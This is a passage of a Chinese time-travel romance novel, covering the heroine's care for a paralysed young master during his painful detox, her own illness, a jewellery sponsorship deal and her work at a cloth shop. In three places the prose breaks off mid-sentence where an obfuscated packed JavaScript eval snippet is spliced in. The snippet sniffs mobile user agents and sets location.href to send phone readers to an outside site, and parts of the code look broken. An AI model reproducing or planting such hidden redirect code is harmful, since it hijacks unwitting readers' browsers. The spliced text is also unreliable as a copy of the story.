叶之萤推他到了桌旁,搬了凳子坐在他身边。这是她第一次和他这样围桌而坐。 打开那个表面已经被小水珠包裹的盒子,一股冷气扑面而来,十几颗荔枝均匀地躺在碎冰之中。荔枝的杆子还绿着,红色的果皮也依旧鲜艳。在这个交通全靠马蹄的年代,要把千里之外的水果保鲜到这个程度,可想而知要花费多大的力气。 她拿出其中的一颗,一边剥皮一边对他讲:“以前我演古装剧的时候就在想,古代有什么好,就算是皇帝妃子,想吃个荔枝也要那么多人千里加急、日夜兼程才能吃到,多吃了几颗还要被人写诗暗讽奢靡。而我想吃荔枝,想吃多少就有多少。那时我想,要是让我回到古代,我可一天都待不下去,没想到,我还真回到了古代……” 她掰开荔枝肉,将其中一半喂到温其玉嘴里,看他吃了进去,俯身靠近他,而后深情地对上他的眼睛:“可是现在,我已经爱上这里了!你知道为什么吗?” “因你生性坚韧、乐观,无论身处何种境地,无论身边有无陪伴,都能坦然处之,自得其乐。”说话之人看似不经意地避开了她期待的目光。 嘴硬! 但叶之萤自信,没有人能在她的猛烈攻势下全身而退!就算温其玉戒过毒,也不行! 人见人爱、貌美如花的万人迷当然有足够的资本自信。她没有生气,反而笑着将另外一半果肉放进了自己嘴里,弹弹的果肉在口中爆开,汁水瞬间甜到心底。与温其玉带给她的爱一样甜。 她满足极了,又把脸凑到他面前撒娇:“真好吃!” “还有许多,都在冰室里存着呢。”温其玉见她未恼,也松了口气。 “还有?你对我真好!”她把身子也凑过去,伸出手想要拥抱他,却在看到他使劲别过头试图躲闪的一瞬间及时停住。 “谢谢你!”她最终只是笑着摸了摸他的脸蛋。 眼看好不容易才哄她开心,温其玉实在不愿一而再再而三扫她的兴,便没有像往常那样排斥她的越界之举,只是对她说:“这壶中是我为你备的菊花茶,可清除食荔枝引起的内火,今日你可多饮些。” 谁知,叶之萤那双媚眼竟再一次对上了他的双眸,眼神充满了暧昧:“温少爷,你这样对我,我很难不多想的。” 温其玉被这眼神撩得心猛跳一下,大脑一下子乱了,心想方才实在不该因心软而失了底线,他很快调整好情绪,又轻描淡写道:“许多事情与我而言不过举手之劳,一声令下而已,你无需多心。” “胳膊还疼吗?”她没有再逼问他,反而主动转移了话题,右手顺势抚上了他的右臂。 温其玉总算松了口气:“已经好了许多,有痛感是好事,你不必担心。” “你好好锻炼,明年的这个时候,换你给我剥荔枝吃!” “好!”眼前的人声音竟有些哽咽,似乎是动了情。 叶之萤不知道温其玉是想到了什么,情绪才在这一刻突然翻涌,但她猜,他一定和自己一样,对那一刻充满着期盼。 “对了,昨天没来得及跟你说,我挣了十两银子哦!” “好厉害!” “那当然!” 午饭后,该熏腥月草解毒了。温其玉怕自己疼痛发作会吓到叶之萤,坚持让她先回房。 可是叶之萤人虽回了房,心却一直留在那间屋子里,她焦虑地来回踱步,就差把地砖踩坏了。 隔壁房里偶尔会传来阿力或荣祥几声不太清晰的说话声,语气好像很急,听得她更急。有几次她实在憋不住,想要过去看他,但都因为怕他生气而在开门那一瞬间忍住了。 如虫蚀骨般的疼,温其玉要如何忍受?可自始至终,她都没有听到他发出哪怕一点声音。 过了很久很久,久到太阳已经与西边的雪山相接。终于,隔壁房间的门打开了,有脚步声慌忙踏出。 她赶紧打开门出去,看到荣祥抱着一堆衣物往后院走去。 紧接着,有下人从后院端来了热水。 过了一会儿,还是那个下人,又端来了一盆热水。 不久之后,荣祥端着一个木盆出来,路过叶之萤身边时,她看到那盆里的水已经浑浊,水里还浸着几条沾了污秽的布。 没多久,荣祥就又回来了。他依然端着一个盆,里面已经换上了干净的热水…… 她原本以为腥月草对温其玉造成的□□上的痛苦已经够难挨了,却不想精神上的折磨更甚。 如此又折腾了近一个小时,温其玉房间的窗户终于被全部打开。她赶紧跑过去,一推门,却发现房门从里面插上了。 以往她从没见他房门锁上过,不知今日为何如此?于是只好敲门询问:“温其玉,你怎么样了?能把门打开吗?” 回应她的是阿力:“叶小姐,少爷已无碍,你莫要担心。只是暂时还不便开门,我已经让厨房准备了晚饭,稍后就送到你房中,你先回房吃饭,待会儿我叫你过来。” 不便开门?可是窗户明明都打开着,是什么玩原因不便开门呢?她缓步走到窗边,本想从窗户往里看一下,可头刚伸出去,还是停了下来。 既然他不开门,自然有他的原因。她又收回脚步,回房去了。 直至太阳完全沉入海中,明月升起,繁星满天,阿力才告诉她可以过去了。 一进门,扑面而来的还是那股浓郁的木质清香。床上的人已经被那如洪水般来势汹汹的痛苦折磨得说不出话来,只能强睁着眼看着她。 她走到他身边坐下,他已经换上了一套新的衣服,身上散发着与这房间几乎同样味道的木质清香,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991685|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发也梳得一丝不苟,除了满脸倦容外,丝毫没有半分狼狈。 叶之萤冲阿力和荣祥两人微笑示意,这两个大男孩,不过都二十出头的毛躁年纪,做起事却一丝不苟,将自家少爷照顾得如此妥帖。 即使千年后的现代,大家也还是喜欢说女生天生心细,却对男生的粗心大意无限包容。如此看来,细心与否与天生性别并无太大关系,纯粹是看他或她想不想以细心的态度做好这件事罢了。 这个世界总是善于找各种理由为男性的笨拙开脱罪行,为男人的不负责任找借口,比如男孩本来就调皮、好动的男生才聪明、男孩成熟晚诸如此类……而一代又一代的男性就在这样宽容娇纵的环境中愈发理直气壮的不负责任。 但温其玉是个例外,他年纪并不大,却凭一己之力撑起了整个邺国的安定,如今又以孱弱之躯守护着叶之萤,不止保护着她的平安,更让她得以在这陌生的世界安心做自己——这是她在那个世界都未能做到的事。 他躺在床上,攒了半天力气,才艰难地从嘴里吐出几个字:“别担心,我,很好!” 他这么一说,叶之萤的眼泪反倒“唰”一下就掉下来了。明明都已经自顾不暇了,还不忘安慰她。 “还疼吗?”她问他。 他缓慢摇头,看着她脸上的清泪,眼中一片歉然:“对不起。” 她轻捂住他的嘴:“瞎说!快休息会儿吧!” 或许是因为体力消耗太大,他很快就睡着了。叶之萤陪了他一阵子,吃了晚饭便到院里闲逛。 那架秋千就架在池塘旁的牡丹园中,她坐在上面慢慢地荡了起来,阵阵幽香伴着水气,与夏日晚风一起扑鼻而来,有种沁人心脾的舒爽。 秋千荡到高处时,她看到一群锦鲤在大小不一的碧绿荷叶中穿梭而行,这条刚露出头,那条又藏起了尾,有的身体还交织在一起,很是热闹。 再荡到高处,池中一条锦鲤突然跃出水面,身体撞到了一支刚露出粉色尖角的荷花,那荷花立马像被挠痒了似的笑得花枝乱颤,锦鲤又落入水中,平静的池面被它拍出一层层向外延伸的波纹。 又荡到高处,远处两只停在小瀑布下正在理毛的鸳鸯被瀑布溅了一身水,它们先是迷茫地看了看四周,又一起晃着肥肥的身体抖掉毛上的水,扭着屁股游到岸边去了。 叶之萤看着它们憨态可掬的样子,忍不住笑了起来。 这园子以前没仔细瞧过,如今身临其境感受一番,才发现它的美妙。 树木错落,草叶缤纷,翠竹如峦,杨柳如烟,花香与鸟鸣争相而出,流水与奇石交相辉映,一物一生命,一景一自然。 再看这园中的一草一木,哪个没有经历过狂风暴雨的重重洗礼?却依然惊艳地生长着。在吸收了雷电为雨水注入的养料后,它们越长越繁、越长越茂。看到它们的长势,很难不让人对生活心怀希望。 如此一来,叶之萤对温其玉的康复又重新充满了希望! 63. “贤内助” 接下来的一段时间,温其玉日日都被腥月草的药力折磨得痛不欲生。 一开始,只要好好睡一觉便能恢复七八成精力,上午也能坚持做康复训练,可慢慢的,即使过了一夜也无法恢复精神,只能整日躺在床上,忍受着挥之不去的骨痛,比叶之萤初见他时情况更糟。 他也彻底将叶之萤拒之门外。叶之萤见不到他,心里又为他担心,只能等阿力每晚偷偷过来给她描述他当日的情况。 虽然他们已经知道腥月草能解他身上的毒,但中原人对这种外疆草药却知之甚少,医书典籍也记载不多,如何使用,用量多少,完全是盲人摸象,凭感觉来。 眼看他就快支撑不下去了,人也瘦了许多,直觉告诉他们,或许是腥月草使用的太频繁了,于是决定先停了腥月草。林大夫也遍查医典,想在医书上搜索多一些关于腥月草的介绍和用法。 停用腥月草之后,他果然渐渐恢复了精神。叶之萤也终于又见到了他。 令人惊喜的是,恢复精神的他不仅右臂活动范围更大了,竟然连原本完全不能动的左手手指也能微微活动了,大家无不为此激动。 进入六月,天气一日比一日热,叶之萤本就怕热,这里的衣服又全都是长袖长裙,实在难以适应,她便让布庄的裁缝师傅为她做了几套吊带短裙,除此之外,就靠用冰块泡水喝来给自己降温解暑。 温其玉见她冰不离口,苦口婆心劝她少吃点冰,她不听,终于成功作到自己上吐下泻、病倒在床。 温其玉知道后,第一时间吩咐阿力找了林大夫来为她检查。检查还没结束,他便也过来了。 “你怎么来了?”叶之萤全然没有了往日的神采,有气无力地躺在床上。 “来看看你怎么样了,肚子还疼吗?”他让阿力将他推到床边,满眼心疼。 叶之萤委屈地点了点头。 “温少爷,叶小姐这是生冷之物食用过量,导致脾胃受寒,没有大碍,我开些温补的药,喝几副就没事了。” 又要喝中药?听到这话,叶之萤整个人都要裂开了。 没想到,这次温其玉竟然挡在了她前面:“多谢林大夫,若是不喝药,而是采用食补的话,您有何建议?” “食补的话,可用生姜、红枣、陈皮熬成水服之,一日两次。日常饮食清淡,主食以小米粥为佳,每日补充一颗鸡蛋,切不可再吃生冷之物!” “感谢林大夫,阿力,送送林大夫!顺便把人带过来。” “是!” 房间只剩她和他两人。 “你刚刚说的……哎哟!”叶之萤刚想问他让阿力带什么人过来,胃里却又袭来一阵绞痛,疼得她在床上蜷缩成一团,扯着被子直冒冷汗,连脸上的肌肉也不由得跟着抽搐。 不用照镜子她也知道,自己现在的形象一定奇丑。头发凌乱、脸色惨白、表情扭曲,如果照镜子,她也一定会被自己这幅鬼样子吓到。她本身偶像包袱就重,偏偏温其玉还在她面前,坐在那里全程目睹她的狼狈…… 正想着,肠道里突然发出一阵刺耳的肠鸣,肠鸣声时高时低、时缓时急,持续了好一阵,她整个人都被这不间断的“噗”、“咕噜”声炸得外焦里嫩了。 她实在没脸让温其玉再呆在这里了,可是他自己又出不去…… 过了一会儿,肠鸣终于停了下来,胃痛也减轻了不少。叶之萤实在觉得丢脸,拉起被子盖在脸上装起了死。 “是不是没有那么疼了?”他紧张地问她。 她隔着被子疯狂摇头。 见她不回答,他有些着急:“是哪里还不舒服吗?” 她继续摇头,求他别问了。 “你捂着被子做什么?快出来!”听得出来,他已经急得想要帮她把被子取下来了,奈何自己心有余而力不足。 “我没脸见你了!这辈子没这么丢人过!”这几个月极力保持的完美形象在这一刻全部崩塌,叶之萤欲哭无泪。 温其玉总算明白怎么回事了,哄她道:“人人都会生病,一点也不丢人,快把被子拿下来。” 可叶之萤还是迈不过心里的坎,死死抓着被子不放,不愿将被子拿开。 过了一会儿,她感觉到脸上的被子好像轻轻动了一下。她以为是自己的错觉,但紧接着又动了一下,像是有人把被子往床边的方向扯,但是力道特别轻。 她揭开被子一看,温其玉的右手紧紧地拉着被子的边缘,正使尽全力想把被子从她脸上拉开。 看她主动揭开了被子,他这才松了手,将依然蜷缩着的右手费力收回到身体旁边,一边喘气,一边用笑掩饰自己的失落。 叶之萤索性把被子全部掀开:“好啦好啦,我给你看还不行吗?至于使苦肉计嘛!但是,你不准嫌我丑!也不准笑话我!” 他笑道:“原来你怕丑,还怕人笑话?把冰当饭吃的时候,我只当你天不怕地不怕呢。” “我已经付出代价了,你还要落井下石吗?”叶之萤苦哈哈地拉耸着脸。 他轻轻一挑眉,笑言道:“那怎么会!我是来雪中送炭的,自然不会落井下石。” 她这才又想到他刚才好像嘱咐阿力带什么人过来,忙问他:“你准备怎么雪中送炭?” 话音刚落,还不等他回答,阿力就带着一个小姑娘过来了,那姑娘眉清目秀,看着不过十四五岁的样子。 “少爷好!”小姑娘一进来,便怯生生地向轮椅上的温其玉行了个礼。 温其玉向其微微颔首示意,而后对叶之萤解释道:“你这几日身体不适,需要有人照顾,阿力与荣祥又都是男子,多有不便,所以阿力特地安排了一位丫头来照顾你,只是这几日而已,等你好了,若是不想……” “谢谢!”她打断了他的话,笑着对他表示感谢。 他原本解释得很认真,生怕她会拒绝。听她应了下来,立马松了一口气。 阿力在一旁介绍道:“她叫柳儿,一直在浣衣房工作,年纪虽不大,但是干活很麻利,这几日就在这里照顾你。” 又对着柳儿交代道:“这位就是叶小姐。你要听从她的吩咐,好好照顾着。” “是!”柳儿看起来很是紧张。 叶之萤看温其玉也在这里待了好一阵了,不忍心他坐得这么辛苦,便劝他先回房。温其玉也没有推辞,又嘱咐了几句便离开了。 之后的两天,温其玉每天都会过来看叶之萤三次——分别是早晨、午后和傍晚,但每次都不久留,只是亲眼看看她的恢复情况、问问是否适应柳儿的照顾也就离开了。 柳儿把叶之萤照顾得很好,第二日,她便不再呕吐了,第三日,腹泻也好了许多,只是满脸病容还没恢复。 傍晚,等温其玉再次从她房里离开后,她让柳儿陪着,偷跑到之前谈好的那家首饰铺里取了首饰,结果刚一回来,阿力就在房门口截住了她。 “叶小姐,少爷叫你进去一下。” 一进温其玉房中,就见他冷着一张脸靠坐在床头,叶之萤自觉情况不妙,将手中的首饰藏在了身后。 “有事吗?”她心虚地站在门口不敢走近。 “你出去了?”他问。 温其玉一向反对她不打招呼单独出门。对此,叶之萤虽心知肚明,却从不把他的话放在心上。 她觉得自己从十九岁起便一人闯荡娱乐圈,最起码的生存能力还是有的,温其玉对此并不了解,因此难免小看了她。她想证明给温其玉看,自己是能独立的,不需要他像保护小孩子似的保护她。 但她也明白温其玉的一片好意,因此每次温其玉叮嘱她时,她都会装装样子表示同意,从不明着忤逆他。 “我有点事,必须要出去一趟,而且我只出去了一会儿。”她理直气壮道。 “有事?”他似乎是希望她能说得再清楚些,脸色也没有刚才那么冷酷了。 叶之萤总算松了一口气,大胆走到他身边坐下,从身后拿出了那些首饰:“是啊!有件事本来之前就想告诉你的,可是那天看你被腥月草搞得那么难受,就没说,我那天……” 便将找首饰赞助商的事向他仔细道来。 温其玉认真听完她的讲述,方才因她私自出门而垮下去的神情不仅恢复正常,还带上了为她骄傲的笑容:“这的确是个很好的想法。” 面对他的夸奖,叶之萤忙虚心摆手:“过奖了过奖了!这也不是我原创的。付一些代言费请名人为自己的产品代言,利用名人效应扩大商品的名气、增加商品的曝光度、提高大家的购买欲望,在我们那儿挺流行这样做的。以前我身上也有许多代言,也是因为有这样的经验,所以才想出了这个办法。” “那这次都取回来了什么首饰?”他问道。 “你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991686|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”她打开了装首饰的小木匣,一一给他展示,“三支钗子、一对步摇,还有一对耳坠。” “这些首饰明日下午便还回去吗?”说话间,他一直盯着木匣里那几件首饰,看得十分专注。 “对!” “你可知这些首饰的售价和成本?”他看起来对赞助商的事情很感兴趣,一再追问她相关细节。 “这个……我不知道。”叶之萤心想这些首饰自己只是免费试戴一日而已,便道,“我只是戴在身上帮掌柜的展示出来,不替他销售,不需要知道它们的价格吧?” 他笑着摇头,随后目光移到她手中的木匣上,问了她一个问题:“倘若你不小心弄掉了这耳坠上的蓝宝石,掌柜的要求你按售价赔偿三两银子,若是你不赔,就不退还你抵押的五两银子,你赔还是不赔?” 叶之萤一听,激动道:“三两?他怎么敢?这些东西一共都不超过五两吧!这个耳坠顶多五百钱,除非他是故……”她突然停了下来,睁大了眼睛看着眼前的人。 看她如此剧烈的反应,温其玉不禁又笑了起来。 叶之萤这才意识到自己犯了不小的错误:“首先,我拿它们回来的时候,没有和他协商好,万一某件东西被我弄坏或者弄丢了,是照售价赔偿还是成本价赔偿。第二,我也并没有跟他确认这些饰品的实际价值,万一他趁机讹我,那我岂不是要陷于被动?” “孺子可教也。”温其玉笑着点头,补充道,“还有第三,你既押了五两银子,那店家理应给你等价的物品作为交换,可是这些首饰与你的抵押是否等价?倘若你去归还首饰时,店家一口咬定这些首饰是你买的,不肯退你银两,你该当如何?” “不会吧?那老板看着不像这样的人。我和他签了契约,上面写了我在他那儿押五两银子,他给我一些首饰,而且就为了五两银子放弃后面长期的合作,对他来讲好像也划不来吧?”叶之萤未免觉得他太过谨慎了。 温其玉反问她道:“看着不像?你从前认识他吗?诚信靠的是白纸黑字的契文约定,可不是靠对方的良心或是想当然的猜测。你说你与他签了契约,那上面可有写清楚他给你的是哪些首饰?你又如何证明这些首饰是他借你的而不是你自愿花钱买的?我并不是说他定是这样的小人,但做生意,必定是要将所有可能发生的对自己不利的事情都先行考虑到,并提前做出应对。先小人后君子,防患于未然,才能保护自己不陷入是非危险之中。” 他说得的确很有道理,叶之萤被他问得完全没了刚才那股得意劲儿,像被霜打的茄子似的蔫了下来。 他又望着木匣里的一只耳坠道:“我看这件耳坠上的蓝宝石似乎快要掉了。” 叶之萤取出他说的那条耳坠拿在眼前仔细看,发现原本应该全部嵌在绕金线中的蓝宝石已经有一半出来了,如果就这样戴在耳朵上,再摇晃几下肯定会掉。 叶之萤在取货时因着急离开,交完押金后只是打开盖子草草扫了一眼里面的东西,并未当着掌柜的面一一检查。 “这……”她的眉头已经快要扭成了一团麻花,“还好你提前发现了,要不然明天可真说不清了!” 温其玉看她懊恼不已,赶紧安慰她:“许多事情经历得多了自然就能面面俱到,你有想法、有魄力、执行力强,第一次就能做到这样的程度,已经很厉害了,首饰的事,我让阿力陪你再去一趟,日后这些事,不要再瞒着我了。” 叶之萤抓住他的两只手,将它们捧在自己脸上,用脸蛋在上面来回轻蹭,又夸张地输出一通彩虹屁:“我就知道你不是真的生我气,我就知道你不会不管我的,你可太好了!怎么会这么好啊!” 温其玉本想先说完首饰的事,再就她私自偷跑出门的事对她进行一次严肃的批评教育,谁知她来了这么一出…… 看着眼前这张笑脸,他不仅气意全消,连批评都不舍得了。还好他尚存理智,清了清嗓子,开口道:“日后出门要找阿力陪你一起,必要的话换上男装,别再自己一人……” 只是语气不仅早已没了半分严厉,甚至有些低声下气。 “知道啦知道啦!那我先跟阿力去啦!”眼前的女子等不及他讲完话,就急急忙忙扔下他那两只手,叫上阿力离开了。 剩下的那些话堵在温其玉喉咙里,说不出来也吞不下去,只能化作一声无奈的叹息渐渐消散在空气里。 64. 默默付出 到了首饰铺,叶之萤将那条耳坠拿出来给掌柜的看,掌柜的看到了她身边冷脸的阿力,才歉然一笑:“实在抱歉叶小姐,方才没有看清楚,我给你换一对!” 说着,就去旁边的货架拿了另一对金叶耳坠给她。 叶之萤仔细查看一番,确认无瑕后将耳坠放回木匣中,而后冷语道:“赵掌柜,商贵于诚。我对您绝对是以诚相待,也定会为您的首饰倾尽全力宣传,但若是您所托之物为次品,那恐怕我越是卖力宣传,就越是让更多人看见您货品的瑕疵,到时候坏了您店里的招牌,岂不是得不偿失?到时您再反咬一口,说那瑕疵是我弄的,我有口难辩啊!黎城的首饰铺也有四五家,并不是只有一家赵记,我是觉得您家的货好,才好心想为您宣传宣传,但若是出力不讨好,还得搭上自己的银子,这样的买卖我可做不了!合作是为了共赢,可不是为了杀敌一千而自损八百,您说是不是?” 赵掌柜听她这么说,殷勤地笑了起来:“叶小姐说得是,说得是!这次是我不仔细了,下次一定多注意!” 又从货架上取了一对缠枝纹银耳环递给她:“这副耳坠很适合叶小姐,当给叶小姐赔罪了。” 叶之萤却推开不收:“赵掌柜的情我领了,您也是小本生意,挣钱不易,这耳坠我就不收了,只是以后可要仔细些了!” 掌柜的见她不收,反倒有些不好意思。 叶之萤又打开木匣盖子,推到他面前:“还要麻烦您把这次给我的所有首饰列个清单,每件商品后面标出对应的成本价,若是某件商品有无法修复的损坏或丢失,我们也好有个赔偿标准。” 阿力接着她的话冷语道:“这些首饰并不罕见,价值几何我们心中已然有数,还请掌柜的如实相告。” 赵掌柜又朝阿力望了一眼,似乎是被他冰冷的态度吓到了,急忙殷勤地点头,列了物品清单,又在清单底下写了赔偿契约。 契约规定若是损坏的商品可以修复如常,则不需赔偿;若是损坏的物品无法修复如常,则叶之萤以成本价购买。 这一列清单她才发现,赵掌柜给她的这些东西售价居然还不到二两银子。看来温其玉的担心果然不是多余的,是她天真了! 赵掌柜自知理亏,主动又取了一条镶红玛瑙璎珞项链交给她。 至此,这个代言合同就算是彻底完善了。 虽然叶之萤以前也接过许多品牌代言,但都有团队和专业律师为她研究代言合同内容,她只需亲笔签字就好,像这样自己拟条款、自己补漏洞还是头一遭。 成就感油然而生,人的潜力果然要在逆境中才能激发出来! 当天夜里,阿力和荣祥一起过来她房间。她一开门,就看到他们怀里抱着不少东西。 “这些……是什么呀?”她的目光完全被那些东西吸引了。 “这些都是少爷为你准备的。”阿力将那些东西先放在地上,然后一边摆放,一边说,“这个是投壶。” 投壶她并不陌生,是古人的一种娱乐项目。 “荣祥正在摆放的是捶丸。”他继续说。 “捶丸?”这个她没听说过,出于好奇,便过去一看究竟。才发现原来是类似高尔夫球的娱乐项目。 “这又是什么?”她指着投壶旁边的一对带把手的石块问阿力。 “哦,那是石锁。” “石锁?干什么用的?” 这个石锁名字虽然叫锁,却没有锁孔,也打不开,而且目测得有二十公分长,实在不知道能用来干嘛。 “这个是用来锻炼上臂的。”阿力解释道。 他这么一说,叶之萤恍然大悟,这石锁锁挂的地方不正好是个把手吗?原来是古代的哑铃啊! 东西全部摆好后,她送他们出门,荣祥直接去了温其玉房里,阿力却还待在门口有话跟她说:“有了这些玩意儿,无聊时就能消遣消遣了。对了,听说你喜欢跑步?正好我也喜欢,假如日后你想出去跑步,能不能把我也叫上?” “你?”叶之萤没想到他突然会有这样的请求,吃了一惊。 他急忙小声解释道:“我一直喜欢跑步,只是少爷身边离不开人,便搁下了。好在如今荣祥来了,我可以偶尔离开一会儿,只是……我如今全天待命,私自外出跑步也是不妥的,但若是为了保护你,那便是光明正大的事了。你放心,我就跟在你身后,保证不打扰你!” 她一听便知是温其玉教的,于是假装义愤填膺:“你家少爷每天让你从早干到晚,连休息时间都不给,你想出去跑个步还要费这么多心思,简直太黑心了!” “嘘,小点儿声啊!”他指着隔壁的房间,生怕温其玉听见她的话。 叶之萤继续故意逗他:“但我看你家少爷也不像这么黑心的人啊,他待你也算不薄,你竟然冤枉他!” 他急得恨不得一张口就能同时吐出七八个字:“当……当然不是,你别别别……别说了!” 她笑着拍拍他的肩,推他离开:“行了,你回房吧,好意我心领了!” 眼前的男孩这才意识到自己被耍了,刚想与她理论一番,她已经迅速关上了门。 第二天一大早,叶之萤便带着阿力继续去沈氏布庄上班。阿力和往常一样,照例去满记茶楼喝茶打卡。 黎城越来越多的人都听说布庄来了一位貌若天仙的女子,不仅能为大家搭配衣服,还能亲自为顾客试装,于是都纷纷赶在她上班的日子到店里来一探究竟。有些是专程过来体验她的服务,有些纯粹就是为了来一睹她的真容。 店里的生意越来越好,顾客络绎不绝,并且大多数都是冲着叶之萤来的,她自然忙得不可开交,有时甚至要同时接待三四位顾客,经常是这边话还没说完,那边就已经在叫了,或者是一套衣服刚穿上身,就被催着赶快换另一套。布庄俨然已经变成了混乱的菜市场,顾客的声音一整天都在她耳边360°沉浸式环绕,此起彼伏、热闹非凡。 从辰初到未初,三个时辰,整整六个小时,她一刻不停歇地跟顾客们聊天、为她们搭配衣服、帮她们试衣服,还借机推广身上佩戴的首饰,期间没有喝过一口水,没有上过一次厕所,也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991687|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有坐哪怕一秒钟椅子。 直到下午顾客慢慢散去,她才终于有机会喘口气。 阿力早就外面门口徘徊着等她了,但是缠着她的客人太多,她甚至连看完他打的手势的机会都没有。 “这是哪儿来的?”她指着他手里提的食盒问道。 “少爷让人送来的,说你腹泻未愈,还是吃家里的饭好一些。”他一边说,一边往满记茶楼走。 “家里?”她心甜如蜜,羞涩地拍了一把他的胳膊,“这是你说的还是他说的?” 阿力笑着逗她:“是来送饭的下人说的,我只是原话转达,至于是不是少爷说的,要不你回去问问少爷?” “切!”她抱怨起来,“问他?你家少爷的嘴硬得跟金刚石似的,我就没见过那么嘴硬的人!” 说着就到了茶楼,二人依旧坐在之前每次都坐的那张桌子旁。 阿力一边将食盒里的碗盘拿出来,一一摆到她面前,一边话里有话地念叨:“这些饭啊,若是送来得太早,容易凉。送来得太晚,你又该开工了。但是它偏偏不早也不晚地送到了,快点儿趁热吃吧。” 叶之萤夹了一片蘑菇,吃到嘴里还温热着。 从温宅到这里步行的话正常步速要二十分钟左右,快走也得十五分钟,再算上盛饭打包的时间,得半个钟头,这么长时间,饭菜不可能不凉。除非送饭的人是打包好饭菜后第一时间骑马赶来,并且还得恰好赶在她下班时送到。 “可是他对我说,换了是别人,他也会这么做。”叶之萤撅起了嘴。 “少爷只是不想拖累你,他希望你自由自在,不想成为你的负担。” “但这只是他一意孤行的想法,实际上我并没有这样想。” “你真的愿意接受少爷?”阿力放下手中的茶杯,郑重其事地问她。 “嗯。”叶之萤点头道:“不瞒你说,我也挣扎过,但现在想明白了,有些人吧,除了能跑会动之外,浑身都是缺点,但是他呢正好相反,除了这一个缺点之外,全身上下都是优点!他的身上有种……让我抗拒不了的力量。” 一说起温其玉,叶之萤脸上的笑意便如春风荡漾。 谁知,阿力却不合时宜朝她泼了一盆冷水:“那你可惨了,少爷是不会答应你的。” “这么肯定?”她反问道。 “是!凭我对少爷的了解,除非有朝一日他的身体痊愈了,否则他是绝对不可能接受你的。不过……”阿力的喉头微微颤抖了一下,叹了口气,“少爷的双腿已经彻底废了,怕是不会有奇迹发生。” “我告诉他了,我不介意他的腿,可他压根不为所动。”她也垂头丧气起来。 “那我只好在心里支持你了!”阿力表示对此无能为力。 “只是心里支持吗?没点行动表示?”她给阿力碗里夹了一块牛肉。作为温其玉最信任也是最依靠的人,如果有阿力的里应外合,自己追求温其玉成功的把握一定会更大。 阿力看了眼碗中的牛肉,连连摇头求饶:“饶了我吧,我可不敢和少爷作对!” 65. 有古怪! 午饭后,叶之萤又回到布庄。一位衣着华丽、雍容华贵、颇有气质的少妇正在沈老板的陪伴下看布料。两位小丫鬟跟在她身侧,其中一位臂上搭着一件薄纱披风,另一位提着一只竹篮,篮子上盖着布,里面不知道放些什么东西。 这位少妇反复摸着那些布料,时而欢喜微笑,时而又眉头微蹙。 看她回来了,沈老板立刻将她拉过去,殷勤地对那位少妇说:“这位就是叶小姐。王夫人看上哪款衣裳或布料可以由她为您试穿。” 从沈老板的态度中,叶之萤不难猜出,这位王夫人一定是位大客户,于是赶紧附和道:“王夫人您好!您手中拿的这款上身就很好看,还有些款可能放在那里并不起眼,但穿在身上却格外衬人,比如那件,如果您有看上的款,我都可以帮您试穿展示。” 那少妇将她上下打量一番,满脸不可思议:“早已听闻叶小姐之风采,今日一见,叶小姐气质之卓然、相貌之华美,竟比传闻更贵之百倍!” 叶之萤自然也不惜溢美之词:“王夫人真是过奖了,您才是雍容华贵、姿态万千!若论气质,我尚不如您十一。” 然后,指着她手中拿着的那件妃色牡丹纹立领短袄和鷃蓝色百迭裙,道:“这套衣裳要我帮您试穿吗?” 她欣然接受。 穿好走到她面前,她看向叶之萤的眼神都泛着光,手摸着布料不断地点头,显然是很满意。 “这款布料买的人多吗?”少妇抬头问她。 叶之萤急忙点头道:“王夫人,这款布料很受欢迎,卖得特别好!” 沈老板也随声附和:“是啊,这款是今天上的新布,到现在已经卖了快三匹了。” 王夫人笑言道:“那可真是很受欢迎!” “是啊!是啊!”她跟着附和。 之后,叶之萤又为王夫人试了另一套荷绿色对襟花罗长衫和折枝暗花绫旋裙,她同样喜欢得紧。 “这套要多少银子?”王夫人问。 “成衣的话长衫四两,旋裙三两,若是对辅料或工艺有其他特殊要求,再另外计费,最多一两。”沈老板答。 王夫人不知为何却犹豫起来,难道是嫌贵了? 叶之萤赶紧拍马屁:“夫人,您肤若凝脂,肤色偏冷,最适合穿这种纯度高的颜色,这款长衫的荷绿色很少有人能驾驭得好看,但却恰好能衬您出您的气场,也很配您的肤色,这衣裳要是穿在您身上定比我穿更好看!” 其实叶之萤并不是一个油嘴滑舌之人,但初入娱乐圈那两年,难免要为了自己的前途违心说一些恭维的话,一开始她也张不开口,但不知从什么时候开始,这些话就可以被她大大方方脱口而出了。曾经的她心里很鄙视自己这样的改变,但现在,她很感谢那些岁月曾经对她的历练。 